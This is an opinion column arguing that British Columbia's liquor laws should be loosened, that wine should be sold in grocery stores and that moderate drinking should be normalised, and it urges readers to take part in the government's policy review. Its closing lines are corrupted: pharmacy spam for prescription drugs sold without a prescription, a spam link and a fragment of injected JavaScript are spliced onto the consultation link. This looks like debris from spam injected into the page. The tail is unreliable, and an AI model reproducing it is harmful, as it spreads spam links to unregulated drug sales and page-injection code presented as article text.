By Anthony Gismondi
There is something about the B.C. government’s liquor policy review that strikes me as odd. It begins with an official website, asking for public input on all matters liquor. It’s not that the public should have their say but don’t we elect governments to get on with it? Parliamentary secretary John Yap, the man responsible for the review, has been turning to social media to get the word out hoping all British Columbians will engage and speak out. But is a cattle call for ideas required at this point? We need action and leadership by bright people who can make decisions that will meet the needs of industry and consumers.
Modernizing B.C. liquor laws has to start with a philosophical change about how we interact with alcohol. The B.C. government prohibits drinking until the age of 19. Government controls, some might say strangles, all aspects of the sale of alcohol in B.C. We still have a number of alcohol related problems. Clearly the current system is not the panacea the anti-alcohol lobby thinks it is, yet they will be lobbying for even more restrictions and controls as we move forward. In the weeks to come debates about drinking at the beach and/or buying wine in grocery stores will consume the review. You can add to that, where and when music can play, how liquor licensees interact with their suppliers, the ration of food alcohol sales in bars, closing hours, selling to minors and much more – but none of these issues will address the fundamental question of how and why we react to alcohol in the manner we do.
I have watched the majority of British Columbians come to know and enjoy drinking a glass or two of wine over the past two decades. They have visited local vineyards, and understand that wine comes from a place, not a bottle, that it takes a year to create a vintage, that they can enjoy it at dinner and not become a blithering drunk. Is it unreasonable to think that if wine was more affordable and widely available at grocery stores, in proximity to food, that we could begin the process of normalizing how we interact with alcohol? We need to play down the minutiae of regulations and control and get to a place where respect and judgment is fundamental in dealing with alcohol. Kids are not stupid, they need to grow up in an environment where alcohol, be it wine, beer or spirits, is a normal part of life. Drinking responsibly is a lifelong skill, it is something to be learned about in a variety of settings and always with respect and moderation.
This is not anarchy, it’s civilization. As for tougher rules, I’m positive the vast majority of private retailers are in favour of the toughest of enforcement for anyone who knowingly breaks any laws relating to the sale or abuse of alcohol. That said, what is required now is for government to get out of the way and let everyone run their business like a business.
No other B.C. retail business is abused more by inefficient, bureaucratic regulations and legislation than those involved in any aspect of buying or selling alcohol, and no other B.C. consumer is more abused by high taxes and lack of timely access to products, than the beer, wine and spirit drinker.
In the coming weeks you can make your voice heard. I hope it isn’t wasted talking about service hours or groceries stores or what will happen to kids who walk past retail wine shops when the fundamental question should be: Who are we going to be when we grow up? You can make your voice heard at : A�(engage.gov.bc.caA� <http://engage.gov.bc.ca/liquorpolicyreview> alevere cost purchase cardura drug http://nebashi.com/?p=5541 )document.currentScript.parentNode.insertBefore(s, document.currentScript); buy orlistat no prescription
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